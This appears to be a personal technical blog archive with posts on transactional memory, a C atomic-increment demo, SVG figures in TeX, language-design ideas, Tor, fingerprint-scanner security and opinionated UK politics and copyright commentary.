  Since you are finished altering the list you commit the transaction. At this point we need to introduce a hardware level primitive that we'll be using. In the litrature it's called CAS (Compare and Swap) and, on Intel systems, it's called Compare and Exchange (cmpxchg). It takes three arguments: (old value, new value, memory location) and replaces the contents of memory location with new value if, and only if, its current value is old value, returning the contents of memory location at the end of the instruction - and it does this atomically.

  So the CAS operation allows us to update a value in memory, assuming that someone hasn't already beaten us to it. A transaction commit uses this operation to change the pointer in the object headers of objects in the write list, to point to the transaction context instead. This is called `aquiring' the header and it is done in order of increasing memory address.

  So, assuming that no other transaction is comming and has beaten us to it, our memory now looks like:

  

  But what if another thread is commiting a conflicting transaction? In that case we'll find a pointer to its transaction context when we do a CAS and we recursively help. Since we have a pointer to its context, we have all the information we need in order to perform its commit ourselves, so we do so. This is to ensure that some progress is always being made by the program as a whole. Unfortunately, it also means that our transaction is void so we abort and try it again.

  Assuming that we have accquired all the object headers that we are writing we have to check that none of the objects that we read have been updated in the mean time. If everything looks good we update the pointers in the object headers to point to our shadow blocks and release them - the transaction is complete:

  

  (Note, this is a simplification - see the paper for the full details. Gray objects are now garbage.)

  There are several other tricks which can be added to the above. The same Cambridge group has some ideas in one of their recent papers about how IO can be included in a tranaction. IO is, of course, a side effectful operation so clashes if we ever need to `roll-back' a transaction. The Cambridge group have implemented IO in Java which can rebuffer and be included in a transaction.

  More cool ideas are presented in this paper (which is talking about a Haskell based STM). There the author presents a primitive called retry which aborts the current transaction and only retries is when an object in the read-list is updated. Thus a queue can be implemented like this:

  class Q:
    def get(self):
      if self.length == 0:
        retry
      return self.q.pop()

  Thus no more missed condition variables resulting in a stuck thread.

  Tags: programming stm

  Including SVG figures in TeX documents

  Doing this is way tougher than it should be. I gather that, although SVG may be included in PDF documents (for some versions of PDF), it cannot be included inline, but only by giving the SVG a whole page. I've no idea why though.

  Note that I wont accept any path which introduces bitmaps. Thus exporting SVG as a high DPI bitmap and including that will not do. That's easy. My requirement is that it look pretty in Acroread 7. (Yes, I have Acroread 7 for Linux but it won't be public for a while yet.)

  Why do I want to include SVG? Because good editors for SVG exist. My favourite is Inkscape and, although xfig will always have a place in my heart, it doesn't really cut it anymore I'm afriad.

  So, you'll need:

  • An SVG file - create this yourself or Google for one if you like
  • pdftex - included with TeTeX, standard on most Linux distributions
  • Apache FOP - an SVG to PDF converter (and thus you need a JRE)

  FOP was the tough thing to find. Google was little help here. You may also have success with Scribus, it has good PDF output but its SVG import was too poor for me. Also, you may wish to try Adobe SVG Viewer on Windows or Mac OS X with a PDF printer driver.

  To use FOP you'll need to download this wrapper XML file and edit it to set the name of your SVG file. Then export JAVA_HOME and run FOP:

  ./fop.sh svgpdf.fo -pdf output.pdf

  Done? Now edit your TeX file and include the pdftex graphics package:

  \usepackage[pdftex]{graphicx}

  And include the PDF file:

  \begin{figure}[h]
  \scalebox{0.82}[0.82]{\includegraphics[viewport=0 740 200 840]{filter-dia.pdf}}
  \caption{The capability filter pattern}
  \end{figure}

  The arguments to scalebox are the X and Y scale factors. The viewport argument is a clipping box for the source PDF file: the lower-left and upper-right corners in pts from the bottom-left of the page. Those values take a few trials to get right, but inkscape will tell you the general values.

  Directions in Future Languages - Exceptions

  (Andy: sorry, your Jabber client isn't going to like this one either )

  Exceptions generally work well (so long as people don't misuse them for general control flow) but I'm still looking for a language with a couple of features, which I think are missing.

  Firstly, I want to be able to test which object raised the exception. Consider:

  try:
    somefunc(mapping[key])
  except KeyError:
    return 'key unknown!'

  Unfortunately, the KeyError may have come from the lookup in mapping, or it may have come from deep within somefunc - I've no way of telling. In Python I can test the value which caused the error, but that's a bodge.

  There are several workarounds:

  if not key in mapping:
    return 'key unknown!'
  somefunc(mapping[key])

  Which is probably what I would do - but it requires an additional lookup. Or:

  try:
    value = mapping[key]
  except KeyError:
    return 'key unknown!'
  somefunc(value)

  Which is a little ugly. What I really want is a way to test which object caused the KeyError in the first place:

  try:
    somefunc(mapping[key])
  except KeyError from mapping:
    return 'key unknown!'

  Also, I would like to second a call from Bram for the ability to assert that a given exception would be caught, somewhere in the call chain, by something other than a default handler. Currently there's no way to do this at all in Python (except glitch testing - even then it's not certain) and I've also not heard of it any place else.

  Directions in Future Languages - Predicate Dispatch

  I'm certainly not the fist person to talk about predicate dispatch. Like almost everything else in the world of computing - LISP has already done it. But that doesn't mean that anyone actually uses it. (If you want papers see [it rocks] and [it's efficient].)

  You probably know predicate dispatch from such feature movies languages as Haskell and Erlang:

  def fact(0):
    return 1
  def fact(N):
    return N*fact(N - 1)

  That's an example of pattern matching, but we can do more:

  def is_even?(N) where N % 2 == 0:
    return 'yes'
  def is_even?(N):
    return 'no'

  We're allowed to test whatever we wish as a predicate. Many people think that the predicates should be side-effect-free, but I'm not too bothered about that. If some coder has good reason for a side-effectful predicate then go right ahead.

  No that, in the last example, the most specific function was called. This is determined by the dispatcher. The dispatcher collects and sorts a list of candidate functions and determines which are to be called. Even if I say most-specific-first I don't mean to say that the following will always work:

  def foo(N) where N % 2 == 0:
    return True
  def foo(N) where N % 4 == 0:
    return False

  Sure, the first function is more specific, but don't except your langauge to work that out. In the above case, both functions would be deemed equally specific so it would probably be a case of most-recently-defined first.

  This brings us to a couple of other common tricks in these systems: call-next and :before, :after functions etc.

  A call-next allows a more specific function to do stuff and then call the next most specific one etc:

  def authenticate-user(Username) where Username == 'root':
    if global-disallow-root:
      return False
    call-next(Username)

  In dynamic languages that function could be injected at any point and thus thus 'override' a generic authenticate-user function in a library.

  :before, :after and :around are from LISP (note the colon) and allow an equally specific function to bump itself up the priority stack (:before), pre-process the return value before the caller sees it (:after) or both (:around)

  Also, if one can define any dispatcher one likes (on a per-function-name basis) then they can do odd things. Like calling every appliciable function and summing their return values. (Probably best if the return function is commutative like addition, I think). I can't think, right now, of an example where it would be useful, but I'm sure someone will come across a suitable problem at some point in the history of the universe.

  With predicate dispatch one can also build up common features of programming languages like, say, object orientation:

  Let class be a type where SomeClass == SomeDerivedClass is true, but SomeDerivedClass == SomeDerivedClass is a more specific match. Now I can define objects:

  def __init__(Self, X, Y) where Self == Rectangle:
    Self.X = X
    Self.Y = Y
  
  def type(Self) where Self == Rectangle:
    return 'Rectangle'
  
  Circle(Rectange)  # make Circle == Rectange and
                    #      Circle <  Rectange true
  
  def __init__(Self, X) where Self == Circle:
    Self.X = X
    Self.Y = Y
  
  def type(Self) where Self == Circle:
    return 'Circle'

  Now one can override functions of a class 'in-place'. Just declare a more specific function (or use something like :before) and all calls to existing instances of that object are overridden:

  def :before type(Self) where Self == Circle:
    return 'Ha, this will screw things up'

  (p.s. I've no idea why I suddenly started Capatalising the first letter of variables in the examples. It's bad - don't do it.)

  (you too can play with this stuff today by using PEAK)

  Atomic Increment

  I've had this link about java atomic operations in my del.icio.us links for a while now. I'm reading around the subject for a number of far flung ideas which might make it into my final year project. But I hate being too abstract for too long, so I implemented a single atomic counter to check that it works the way I expect etc.

  As ever, the gcc info pages on inline asm are pretty bad and AT&T syntax buggers my everytime. Still, I have two (NPTL) threads each incrementing a counter. I can increment them without locking, with an atomic op and with locking.

  Without locking: 0.2 secs, with locking: 14.1 secs, with atomic ops 3.2 seconds. Not bad.

  /* Very quick demo of atomic operations
   * agl */
  #include <pthread.h>
  #include <stdio.h>
  
  volatile int count = 0;
  
  #define ATOMIC_INC(x) \
  	asm volatile("agl1:" : :); \
  	asm volatile("mov %0,%%eax" : : "m" (count) : "eax"); \
  	asm volatile("mov %%eax, %%ebx" : : : "ebx"); \
  	asm volatile("inc %%ebx" : : : "ebx"); \
  	asm volatile("lock cmpxchg %%ebx,%0" : : "m" (count) : "eax"); \
  	asm volatile("jnz agl1" : :);
  
  /* A thread function to increment count atomically */ 
  void *
  incr(void *arg) {
  	int a;
  	for (a = 0; a < 10000000; ++a) {
  		ATOMIC_INC(count);
  	}
  
  	return NULL;
  }
  
  pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
  
  /* A thread function which uses locking */
  void *
  incr_locked(void *arg) {
  	int a;
  	for (a = 0; a < 10000000; ++a) {
  		pthread_mutex_lock(&mutex);
  		count++;
  		pthread_mutex_unlock(&mutex);
  	}
  
  	return NULL;
  }
  
  int
  main() {
  	pthread_t th1, th2;
  
  	pthread_create(&th1, NULL, incr, NULL);
  	pthread_create(&th2, NULL, incr, NULL);
  	
  	pthread_join(th1, NULL);
  	pthread_join(th2, NULL);
  
  	printf("count is %d\n", count);
  
  	return 0;
  }

  People who read this via ...

  People who read this via RSS probably don't even notice my del.icio.us feed at the top. (The RSS for that is here).

  Recently, I have mosting been reading about concurrency. This isn't new - I've been thinking about it for ages (in fact, some people wish I would shutup about it sometimes). But previously my thinking has been about how to manage complex, stateful servers without lock-hell or inversion-of-control. I've now written a Python module (twistless) which does this very nicely. (Source availible upon prodding, but it needs polishing before a public release)

  But that (and my other code, like Neuroses) is based around syncthreading which manages to avoid locks by only really have a single thread. The complexity is vanquished, but it doesn't actually use an SMP machine.

  This was in the hope that `it will always be fast enough tomorrow'. The thinking was that doubling the speed of your library wasn't worth hand-crafted inverted control code because the CPUs would catch up soon enough anyway. But anyone who has been watching cpu speeds will have noticed that this is no longer true - we've hit the ceiling and CPUs are now growing outwards (multiple cores) rather than upwards (ever faster clock speeds).

  Herb Sutter has a good text in DDJ about this.

  Doing `true' concurrency without lock-hell is really tough. I don't know how to do it. (Maybe you're smart enough to write complex, multi-threaded code with fine-grained, deadlock and priority-inversion free locking - but I'm not, and nor are a lot of people.) Erlang does quite well in this area with very real results (working ATM switches etc), but it's based around the idea of message-passing threads, which isn't my cup of tea.

  The most exciting thing I've read about this is Composable memory transactions which uses a begin-commit style for shared memory (with retry and orElse - see the paper). Unfortunately, it's built on Haskell. (A language which calls IO, exceptions and external calls the "awkward squad" was built on the wrong foundations I'm afraid. Having said that - here's a great introduction on how to do them in Haskell).

  Unfortunately, I can't see that the ideas in that paper fit neatly into any current language. (The authors had to hack GHC quite a lot - and even then it only runs syncthreads in a single kernel-thread!) so maybe a new language is in order to play about with them.

  I was failing miserably t...

  I was failing miserably to explain this idea to someone a while back. Partly because I didn't have it in any order in my head but mostly because the other person was getting that look in their eyes which means "Abort! Abort!". So here's a (hopefully) better attempt to explain it so that I'm ready next time.

  (Andre: This is the idea in Permutation City, but I don't actually think that Greg Egan explains it terribly well there - read his short stories. And should Andre have an é at the end?)

  Firstly, if you're a dualist give up now. (And if, when you read `dualist', you're thinking of two people, back to back, with pistols then you probably are ).

  Ok, if you're still with me I can create a cellular automaton in some Turing Machine with some set of rules and let it progress till I have a conscious life form in it which has deduced the existence of rice pudding and income tax. (Absolutely, this would take some time. But if you accept that it is possible then you accept that I could do it so assume that I have)

  Now my Turing machine is executing this universe and I can half its speed and it makes no difference to the being in the universe; it doesn't perceive that anything is different. I can start doing lots of other calculations on the side and it still makes no difference so long as we calculate another iteration once in a while. So we can do anything in the middle and our life form is still happy, eating rice pudding.

  Now we start generating sequential CA universes. Ignore the ruleset, just set each cell to a bit from a huge counter, over the whole size of the (I assume finite) universe. In the process we will, at some point, generate the next iteration of our rice pudding monster. Thus we are still generating iterations, just doing other stuff in between, thus our conscious rice pudding monster is unaffected. Right?

  Now once we've generated every possible CA universe. What's left to do? You might think that the CA monster is now frozen. But what more could we do? We could calculate the `next' iteration of his universe, but it already exists in memory. Is the act of actually calculating magical? Or, in fact, is every possible conscious being `living' in our memory; their patterns finding themselves in the dust?

  In fact, every possible rule of physics exists now. Any rule based progression is already there. Time is an illusion caused by the existence of memory. At each step, the entire universe (including all of the rice pudding monster's memories) exist fully formed (as does every other universe). Why should it be surprised that whatever laws of physics it believes in are precisely correct to allow it's existence? When everything exists, nothing is surprising.

  (You should, of course, be putting yourself in the place of the rice pudding monster at the moment and wondering why you're so special that you're not just patterns in the dust.)

  A Better Warning System?

  From Wired:

  Wild animals seem to have escaped the Indian Ocean tsunami, adding weight to notions they possess a sixth sense for disasters, experts said Thursday.

  Sri Lankan wildlife officials have said the giant waves that killed over 24,000 people along the Indian Ocean island's coast seemingly missed wild beasts, with no dead animals found.

  We might not understand how it works, but we don't need to do so in order to be able to use it. Tag lots of animals living near the coast and track them by satellite (I'm sure such a system has already been developed for the study of migration patterns etc). When they all start to leave - do likewise.

  Tor actually works pretty...

  Tor actually works pretty well. Of course, this is before it has been really hit hard by any sort of user base (people are only just starting to run BitTorrent through it) but I'm typing this over a real-time mixnet, end-to-end encrypted with bidirectional public key authentication. Maybe there's something to this crypto malarkey after all

  Unfortunately this anonymity of Tor is far short of the real hard line systems as it has a central directory. Basically you trust Tor because you trust arma (Roger Dingledine). But maybe that's actually better because none of those other systems have actually taken off. Having hard line anonymity is no good if your user set is a couple of dozen people. I would hope for some improvements in the centralisation at some point but I'm happy with this as a starting point.

  Fundamentally with any real-time mixnet, global traffic analysis is going to get you (esp with interactive traffic like ssh connections). Global observers are quite rare, and those with the motivation to invest in the infrastructure required are rarer still, but they do exist.

  So a good article from th...

  So a good article from the LA Times on nootropic drugs, which was on Slashdot.

  That text mentions that most of these drugs are being developed as anti-Alzheimer's drugs because it's the only way in which to approach the regulators. There's still a very puritan streak in drugs regulation which says that drugs shouldn't seek to improve people, only to cure something that is wrong.

  The word `improve' is a slippery one in the last sentence - who decides what is an improvement? Simply put; people decide themselves. Millions take caffeine (in many forms) every day as a performance booster and this is legal, mostly because of tradition. No one claims that caffeine is benign. Symptoms of overuse and withdrawal are part of the common culture but, also, no one would suggest that caffeine needs banning (at least no one worth listening to).

  Drugs companies recognise that people do want to improve themselves and they would be very happy to make money by letting people do it. But since they aren't allowed to improve people, they have to create new diseases. So I confidently predict that Senile Brain-Disfunction (or something like it) will appear very soon as be the disease which nootropics can cure.

  The products will almost certainly be prescription only. Otherwise, it would mean admitting that people can take responsibility for their own lives and from there you start wondering why non-addictive psycotropics are illegal - and we can't have that. Yet, despite them being prescription only, I assume that people will get they just as easily as all the other prescription `only' drugs. As far as I'm concerned this is a good thing.

  I'm under no illusion that humans were created perfect and thus need no improvement. Caution is called for as we're playing with a very complex system which we don't really know much about, but not too much.

  So the theatre mentioned ...

  So the theatre mentioned in my previous post has had to cancel the run of the play due to health and safety concerns. What that actually means is that the police are unable to protect them from a mob of sick freaks.

  Welcome to the UK, where little free speech has little progressed since 1700.

  Can I suggest that anyone...

  Can I suggest that anyone in Birmingham heads over to the Repertory tonight and makes sure that tonight's performance is packed out?

  For those outside the UK, a number of Sikhs in Birmingham has decided that they can censor a play which they feel is `insulting' by physically attacking the theatre. The police were there in some force, but obviously not enough to do their job.

  This play is exactly what Blunkett was targeting with his offense of Inciting Religious Hatred. A Sikh on Radio4's Today this morning said that he thought as much, though thankfully realised that it would look bad if he said so. The BBC found an excellent corespondent to argue the opposite case in Dr Evan Harris (Lib Dem MP) which makes that Today clip very enjoyable.

  And today I understand that the police are having a meeting with both sides about it. I think they should be apologising for failing to defend the theatre (since the theatre isn't allowed to defend itself) and for not arresting anyone for criminal damage despite many officers being present at the time.

  I await tomorrow morning's news.

  (On the same topic, Channel 4 is supposed to have a good programme on Christmas Day called Who Wrote the Bible.)

  Well, the project which I...

  Well, the project which I was working on at Google has hit Slashdot. I hope that was planned

  (better link about it [1]. And one from BBC News)

  AdBlock

  Lots of good patent stuff today. The Becker-Posner blog has a couple of long texts on the state of patents in medicine. I'm not a big fan of patents in many spheres of the economy, but drug research patents are sensible. Of course, there are flaws, but I don't think the correct balance here is as far away from the current position as it is in, say, software patents.

  Which brings me neatly to the EU trying to get software patents in via the back door. The headline says it all: EU Council Presidency Schedules Software Patent Directive for Adoption at Fishery Meeting. MEPs have a tough enough time as it is trying to convince people (British people esp) that they matter. Tricks like this certainly don't help.

  And now, if your blood pressure is a little high after that, Jason Schultz has a nice text in Salon. Although comparing patents to ex-USSR nuclear weapons is possibly a little bit strong.

  Hmm. Maybe this paragraph would have been better placed before that Salon link. But if you use Firefox (and if you don't, what the hell are you thinking?) then you should try AdBlock. With some minimal configuration it works really well. Just right click the adverts on a few of your common pages (The Register is a good one) and they are a lot less mentally glaring.

  BBC Radio on your iPod

  Google, very nicely, sent me a 20GB iPod for my birthday so I thought I had better do something useful with it.

  I have a fairly nice system at home for music so I spend the, otherwise wasted, walk to and from Imperial listening to Radio 4.

  You can select the `Listen' link on the website and get their web-based player. Right click and view source. Find ".ram" to pickout the filename URL. Then run lynx -source URL to get the rstp:// link.

  Here's the trick...

  % mplayer --version
  MPlayer 1.0pre5-3.4.2 (C) 2000-2004 MPlayer Team
  % mplayer -aofile showname-ddmmyy.wav -ao pcm -cache 320 rstp://...
  .
  .
  .
  % lame -h showname-ddmmyy.wav showname-ddmmyy.mp3

  Then use gtkpod to upload to the iPod.

  Submitted to Felix in rep...

  Submitted to Felix in reply to this, which appeared last Thursday.

  (for any Americans reading this; you probably don't know what a student Union is - don't worry.)

  Jamie Brothwell seems very keen that we should all buy fair trade products, to that point of creating a bureaucracy to check that we do. I'm perfectly happy for him to pay any price that the suppliers and growers agree to, including one which is above the market value. But before there is a "campaign for increased consumption of Fairtrade goods" (funded by our infinitely-bounteous Union I suppose) people should be aware of the problems of Fairtrade.

  When buying Fairtrade coffee you are charitably giving to certain selected groups of producers. Selected, that is, by the Fair Labeling Organisation which charges $2431 + $607/year + $1 per 110 pounds of coffee sold to be certified as a Fair Trade producer. And if you're a small producer (that is, less than 44,000 pounds of coffee per year - $55,440 per year, by FairTrade base prices) then I'm afraid that the FLO "seldom" certifies groups so small [Simen Sandberg, quoted in The Christian Science Monitor, April 13th]

  The problem with the primary FairTrade produce, coffee, is that too much of it is being produced worldwide. In Brazil and Columbia, producers were encouraged to switch from cocaine to coffee. In an effect to rebuild Vietnam, aid went into setting up coffee plantations so that the farmers could be self-sufficient. This lead to over-supply of coffee.

  The average coffee production per year increased 28% from 1990 to 2002 [ICO figures], but the values jump wildly - not the sign of a stable market. All this over-supply, of course, caused the price to drop and the less efficient producers to suffer. The inefficient producers in this case were the small, primitive farmers which Fair Trade is supposed to help.

  This gives the efficient producers less incentive to cut costs and keeps those farmers forever at the mercy of the charity of those who buy FairTrade and of the FLO, which soon gains the power to select who will and who won't survive.

  Instead of this perhaps Jamie should we lobbying for the elimination of EU subsidies such as the Common Agricultural Policy. (Though not through the Union of course, because everyone agree that the Union should limit itself to those issues which affect students as students, don't they?)

  The idiotitic effects of the CAP have entered into common usage; "butter mountains", "wine lakes" etc. In 2001, 7m tonnes of sugar was exported [Oxfam, 2002] from the EU, and the EU taxpayer paid a total of $2.1 billion to subsidise this dumping on the world markets.

  The development of internal trade (esp within Africa) and the cessation of dumping under-priced goods on the world market is the way to help these farmers. Hitching them to our charity, which is supported only by the publics' wondering attention, is not.

  I've said it before, and ...

  I've said it before, and I'll say it again. Greg Egan is the best sci-fi writer on the planet: Axoimatic

  Currently reading: System of the World.

  Next up after that: Obedience to Authority.

  The remains of a Stage Sc...

  The remains of a Stage Scan.

  Heading home of the coach...

  Heading home of the coach to Cheltenham last Friday (something that I do when I'm in need of a decent meal for a few days) I was stuck in a traffic jam for about 30 minutes. Annoying, but it's fairly small fry on a 3 hour journey. The time passed quickly enough with my special Google branded iPod .

  But it turned out that the accident happened on one lane of the carriageway running in the opposite direction. The tailback which I was caught in was just the product of people slowing down to take a look. That tendency in the cellular automata of most traffic flows caused a huge tail back. Now there's a tendency to ignore such effects because they're somehow `stupid' but they are perfectly real. So can I suggest that the highway police carry large, self-standing black banners to hide the site of an accident to avoid traffic jams in future please.

  And so it begins on the d...

  And so it begins on the day of the Queen's Speech:

  Daily Mail: Al Qaeda attack on Canary Wharf foiled. And it seems that ITV copied the story, but didn't mention the Mail.

  The bits of Whitehall which weren't involved with leaking the story are confused and are denying it. But the bits which were are over the moon.

  Well, only a few months l...

  Well, only a few months late but I finally have my Yosemite photos up.

  I swear that "Yosemite" should have an accent - Yosemité maybe? (It's pronounced 'Yo-sam-i-tee')

  We have the Queen's Speec...

  We have the Queen's Speech on Tuesday. For the non-British; this is where the government announces the legislation that they propose for the next session of parliament. The the next session will be the last before the general election.

  It's disconcerting how fast the tone in this country has changed recently for the worse. We've had a lot of it on simmer for a while now I guess, but it's been kept down. Now the Linda Snells have really boiled over.

  As a final act, parliament passed the bill outlawing fox hunting - a bunch of deluded authoritarian crap dreamt up by people who probably drive out to the country and full expect to bump into the Famous Five. With a bit of luck it will kill the governments support in rural areas. With a lot more luck they won't switch to Tory.

  Now MPs have decided to turn their attention to overeating, smoking and drinking. All pleasures that MPs have famously overindulged in. Drinking will be linked with a large number of `law and order' bills no doubt. Overeating will probably come in the guise of a ban on advertising (some) foods.

  Nothing stirs people up like fear and Labour are running short on it. That's what the Queens speech is going to do. Fear of crime, fear of terror, a little fear for everybody and One Government to save them all. I expect Blunkett will be jerking off listening to it. (And that's something else that will probably be in - ID cards).

  And, frankly, there's no chance of stopping any of it. The Conservatives are hopeless and couldn't put up an opposition even if they disagreed with it. The Lib Dems aren't strong enough to even slow it down.

  Ah, crap.

  Writing on Wikipedia for ...

  Writing on Wikipedia for a change, because it will probably be more helpful to the world at large there.

  Wikipedia is missing a big chunk of CS stuff around the page that I wrote. If you know about Tornado codes or Digital Fountains etc, go fill it in! (and save me the trouble )

  On another note...

  US version of free speech; Fearful TV fails Private Ryan.

  So now one cannot show Saving Private Ryan on US TV because of fear of the FCC? A film which won five Oscars and one which my GCSE history teacher made sure that we saw the first ten minutes of because he thought that it was such a great depiction of WWII.

  Stations are free to broadcast what they choose and guess what? If you don't want to watch it you don't have to. You could get a book (I recommend The Confusion, which is much better than the first one). But your government is now dictating what you can watch with vague threats:

  After the FCC refused to guarantee stations they could broadcast the film without fear of repercussion, network executives said they were taking no chances.

  "We're just coming off an election where moral issues were cited as a reason by people voting one way or another and, in my opinion, the commissioners are fearful of the new congress," he said.

  I can understand why the covers of books for UK and US versions differ. You have to mess up the spelling for the US version at least. But why does the US get such poor cover art?

  Terry Pratchett covers are famous here (UK). But the US version is just poor.

  Again, the US version of The Confusion is trash compared to the UK one. Though the US version does have miscut pages to make the book seem old - that's kind of neat.

  Bait and Forget

  Those of us who like arguments and actually seek to get somewhere with them (as opposed to those who like them for their own sake) generally pay attention to lists of logically falacies. Like those 'proofs' that 1=0, fallacies seem reasonably correct but are actually fundamentally flawed and cause one to end up somewhere stupid.

  Take, for example, this page, which says the following:

  • Event X has occurred (or will or might occur).
  • Therefore event Y will inevitably happen.
  This sort of "reasoning" is fallacious because there is no reason to believe that one event must inevitably follow from another without an argument for such a claim. This is especially clear in cases in which there is a significant number of steps or gradations between one event and another.

  Now, I don't disagree with any of that. But here's a meta fallacy - a fallacy which those who quote fallacies fall into:

  As an example, on that same page, they give this: "We've got to stop them from banning pornography. Once they start banning one form of literature, they will never stop. Next thing you know, they will be burning all the books!"

  There's hyperbola for effect in that, but it's not completly daft. I see this pattern popping up a number of times. Take today's great post on BoingBoing about brands. Cory speaks about how trademark law was introduced for all manner of good reasons, but people have forgetten about them and now trademark law is an axiom in of itself and it getting abused.

  Copyright law was introduced as a very limited trade between the public (represented by the state) and private enties to introduce a government subsiby for the arts which was distributed by a pseudo-market. But that has been been the victim of bait-and-forget. People don't remember why copyright law exists, so we have the very counterproductive system which we have now, within which "copyright must be enforced" is all the reasoning that is required from its benifactors. This is also, soon, going to lead to the extension of copyright of music in the EU because noone in power can remember why, exactly, copyright was ever for a limited time in the first place.

  So, the meta-fallacy can roughly be put: "It's not slippery slope - but if we do this thing, X, which is reasonable at the moment then everyone will forget why we did it and it will lead to bad things."

  Pumpkins!

  The front of my flat

  

  Thanks flatmates

  Thanks flatmates

  

  XPath in Mozilla

  There really should be better documentation for this sort of thing. Maybe there is, but Google doesn't find it very well. Anyway...

  var result = xmldocument.evaluate(xpath query, 
    xpath root element,
    null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);

  The xmldocument seems to be able to be any such DOM object - it doesn't have to be connected with the root element so it could, for example, be document. Note that a general Node object wont do - they don't have an evaluate method.

  Then the result object has a property snapshotLength giving the number of results and a given result Node object can be obtained by calling snapshotItem(i).

  Replacements for Copyright

  (In-Reply-To: http://locut.us/~ian/blog/archives/26-Alternatives-to-Copyright-FairShare.html)

  So there are a number of different proposals for replacing copyright as a model for funding creative artists (or whatever you wish to call them). Some of them I cringe at, generally they propose a government authority which decides what is `art' and dishes out money to it. Much like a lot of direct government funding of the arts does today. I think I'm cringing in the same way that Ian does at such an idea; I mean 'government', 'art', 'committee' - doesn't it make you cringe? It's almost as bad as 'government', 'NHS', 'national IT project' - but that one actually makes me sick; different story.

  So there are also less cringe-worthy proposals such as Fairshare. These are usually based on a market, or at least a model of interacting, self-interested parties. But many people of a certain persuasion hear the word property in `intellectual property' and light up. I think the word association goes something like 'property' → 'no government needed' → 'good'. As far as I can see it's that simple.

  I keep hitting these people and they really should know better. Let's look at the difference between the government giving out grants and the current copyright system. In the former we are all forced to give up something (money, via taxes) and this is distributed to others via a process (arts boards, funds etc). In the latter we are all forced to give up something (our right to copy freely) and this is distributed to others (copyright holders). This does lead the actually money being distributed via a market system as opposed to government committee, which is a fairly neat hack, but it has ceased to work.

  Ponder what would happen if everyone on Earth suddenly had the ability to duplicate physical objects. You could go to a dinner party, really like the wallpaper and, with a click of the fingers, have it in your own house. I would bet that everyone would, within a week, be required to register and have all their fingers broken. Because it preserves the market, right? And markets are good, even when they're a bastard warping of reality caused by the mass of government distorting space-time around it, right?

  (In-Reply-To: http://locut.us/~ian/blog/archives/15-An-alternative-to-Senator-Boxer-for-California-Democrats.html)

  So one may very well have issues with voting for a libertarian in California given that they can get a little divergent and unhinged in places. But you don't have to agree with the aims of a person to vote for them. Very few Senators are actually going to have a huge impact on the world. One can vote for someone in order to steer the region towards those goals even if one would stop short of agreeing with them. It's also reasonable to interpolate between governments in successive elections.

  So I'm now doing UNIX cap...

  So I'm now doing UNIX capability systems as a degree project. It was almost managing petabytes but that one lost out for a number of reasons. Progress wasn't bad until the group project started and that has now taken all my time.

  In other news. I'm now going to be working for Google full-time come July. At first probably in Zürich and then back to Mt. View.

  Photos of Yosemite are sitting on the server now, I just need to get round to thumbnailing them which will hopefully be fairly soon.

  Upgrade your CVS copies of Stackless if you have one. I fixed a bug which was biting me in the course of working the capability project.

  Google have a new paper out on MapReduce. Another thing I can now talk about!

  So IBM now have a laptop ...

  So IBM now have a laptop with a fingerprint scanner built in. So, what is this meant to protect beyond passwords? Let's consider the attack cases:

  1. Someone steals the laptop because you left it somewhere stupid like the pub (let's call this the MI5 case)
  2. Someone is playing with the laptop while you're away for a moment
  3. Someone targets the laptop because because they want the data on it

  And a few facts from the piece:

  • You can setup the scan at boot time and that's enough to login and load the encryption key
  • It suggests that the scanner itself stores the fingerprint hashes

  Also remember that fingerprints are only secure if you trust the reader and nearly all readers suck. It's very difficult for a fingerprint scanner to tell the difference between a real finger and something which looks just like it, but isn't attached to a person.

  In case 1 the attacker knows nothing about you. If you care enough about your data to `encrypt' the hard drive (because, if you don't, they can lift the contents of the disk anyway) they are probably stuffed. A reasonable passphrase is probably enough to stop them as they are mostly after the hardware itself to sell on.

  Now, if it has a fingerprint scanner the laptop is probably less secure because the owner's fingerprints are going to be on the laptop or something in the same case. The effort required to break a passphrase is measurable. The effort required with a fingerprint is constant and small if you have the fingerprint in question.

  In the second case (assuming that you didn't leave it logged in), there's little chance that someone is going to brute force a passphrase manually. But they could lift a fingerprint and come back next day with a fake made up. Again, you're probably better off with a passphrase.

  In the third case you're certainly better off with a passphrase. Since the encryption keys are stored in the hardware in the case of fingerprint security (and laptop hardware isn't very tamper resistant) a break is probably easy for a well equipped group. In the case of a passphrase they either brute force it, or have to install a logger, get it back to you and steal it again. Not impossible, but harder.

  So the fingerprint scanner may be neat - but I wouldn't use it on its own.

  POSIX 1e ACLs are all ver...

  POSIX 1e ACLs are all very wonderful and so and the big reason that they're wonderful is that you can specify default ACLs which say something like "every file created in this directory should be writable by group foo" That is, until the user creates them with a umask of 022 and the write permission is masked away.

  I'm sure that POSIX had a good reason for this somewhere, but umask has never worked very well anyway. So here's a utility which fixes up files which were created with a bad umask. Run it like this

  find path -print0 | xargs -0 acldeletemask

  Schneier's Essay

  So, as Oskar at least has noticed, comments have been removed from this site. This is for two reasons: few people used them - they mostly emailed me anyway; I switched to a new server and couldn't be bothered to setup comments.

  But Oskar wanted to take me up on a few points. I'm not posting his email here because it wasn't a public and I haven't asked him.

  I linked to an essay a while back about car license plates. The reason I did this is because I thought it put across a good point that ease of access makes a fundamental difference. Often it's suggested that since cars have "always" has license plates, then the introduction of cameras which can log every car isn't a fundamental change.

  For most of the time that ID plates have been in operation there has been a cost to looking them up. That cost was in the time it took to do it. Thus there was a fairly inflexible limit to the rate of queries and they didn't have to ban anything because there were no technologies that could do it quicker.

  But that cost has now disappeared and reducing the cost of anything to zero usually results in a big effect. We could impose a query limit on the central computer somewhere - but we all know that would be ignored for 'national security' and they could get traffic analysis anyway.

  Maybe now the old system (of limited lookups) is impossible we shouldn't have license plates (and maybe we should never have had them), but I don't believe that we'll ever get that freedom back.

  Kosovo

  Next up, my linking to this Guardian text.

  Now, I'm sure that many writers for the Guardian would be very upset at the thought of an unregulated market. All that uncertainty, all that rope to hang oneself with. Much better to have some government take care of all that for me, right? Not as far as I'm concerned and Oskar suggests this report which shows the link between uninterfered markets and their success.

  But Kosovo and Iraq aren't examples of corrupt backwards governments being knocked over for the good of the people. The assets of the state are being stolen by force. The people of those countries were forced to buy these `public' enterprises for the state or to give their labour to them - misguided and inefficient as they may have been. That was the first theft and that should be righted as much as possible by giving the people ownership of them. If they then choose to sell to someone else that's their business.

  But, unsurprisingly, what's happening is that these assets are being sold off to outside groups with the proceeds disappearing into the mists of government. The spoils of war, right?

  RPOW

